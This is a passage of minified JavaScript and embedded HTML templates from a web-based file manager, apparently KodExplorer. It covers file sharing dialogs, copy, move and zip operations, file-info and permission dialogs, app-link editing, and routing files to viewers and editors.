30px",lock:!0,background:"#000",opacity:.1,content:s,ok:d,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var n="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.self_share=e.info;var i={path:t,type:n,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(n),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==n&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),n=template.compile(i),a=n({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:a});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var n=e.type;"folder"==e.type&&(n=1==e.code_read?"code_read":"folder");var a=G.app_host+"index.php?share/"+n+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(a),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var n=i.createTextRange();n.moveEnd("character",-i.value.length),n.moveEnd("character",t),n.moveStart("character",0),n.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,n,a){if(console.log(e,t,i,n,a),!(1>e.length)){var o,s=G.my_desktop;n&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof a&&a(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),n=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var a=urlEncode(n+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+a,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var n="info";1==t.length&&(n="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(a(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var a="path_info_more",o=LNG.info;1==t.length&&(a="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[a]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(n),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var n=i.find(".file_md5_loading");if(1==n.length){var o=a(t);o+="&get_md5=1",core.fileInfo(o,function(e){n.removeClass("file_md5_loading"),e.code?n.html(e.data.file_md5):n.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:a(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),t+="&access_token="+G.access_token,$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},L=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},N=function(e,t,i){if(e){var n=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},a="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(a+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){a+="&path_to="+e,n(a)}):n(a)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},T=function(e,t,i,n){t&&(void 0==n&&(n=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},z=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var n=40,a=0;e.length>a;a++){var o=e[a],s=o.path;s=n>s.length?s:"..."+s.substr(-n),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var n=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(n(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:n,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,n){var a,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==n&&(n="user_edit"),"root_edit"==n&&(t=t),"user_edit"==n||"root_edit"==n?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(a)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(a);switch(n){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==n||"root_add"==n){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),a=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&a.find("option").eq(t.group).attr("selected",1),a.find(".aui_content").css("overflow","inherit"),n){case"user_edit":a.find(".name").addClass("hidden"),a.find(".desc").addClass("hidden"),a.find(".group").addClass("hidden"),a.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":a.find(".desc").addClass("hidden"),a.find(".group").addClass("hidden"),a.find("[apptype=url]").attr("checked",!0),a.find("[data-type=url] input[name=resize]").attr("checked",!0),a.find("input[name=width]").attr("value","800"),a.find("input[name=height]").attr("value","600"),a.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":a.find("[apptype=url]").attr("checked",!0),a.find("[data-type=url] input[name=resize]").attr("checked",!0),a.find("input[name=width]").attr("value","800"),a.find("input[name=height]").attr("value","600"),a.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":a.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(a)},O=function(){core.appStore()},A=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var n={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},a=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+a,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(n))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:O,appAddURL:A,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:z,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0; +if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),n=i.find("string").text();window.open(n)}catch(a){s(e)}}),void 0;if("html"==t||"htm"==t){var n=core.path2url(e);return core.openDialog(n,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var n=e;return-1==n.indexOf("http:")&&(n=core.path2url(n)),MaskView.image(n),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var n=core.path2url(e,!1);return p([{url:n,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var a=core.path2url(e),n="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(a);if(canvasSupport()){var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+a+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),PDFObject.embed(a,"#"+o)}else core.openDialog(n,core.icon(t),htmlEncode(core.pathThis(e)))}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},n=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},a=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),n(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,n=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(n=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},n)}else{var a="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(a="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(a,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:n,download:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",n="music_player",a="movie_player",o=function(e){var 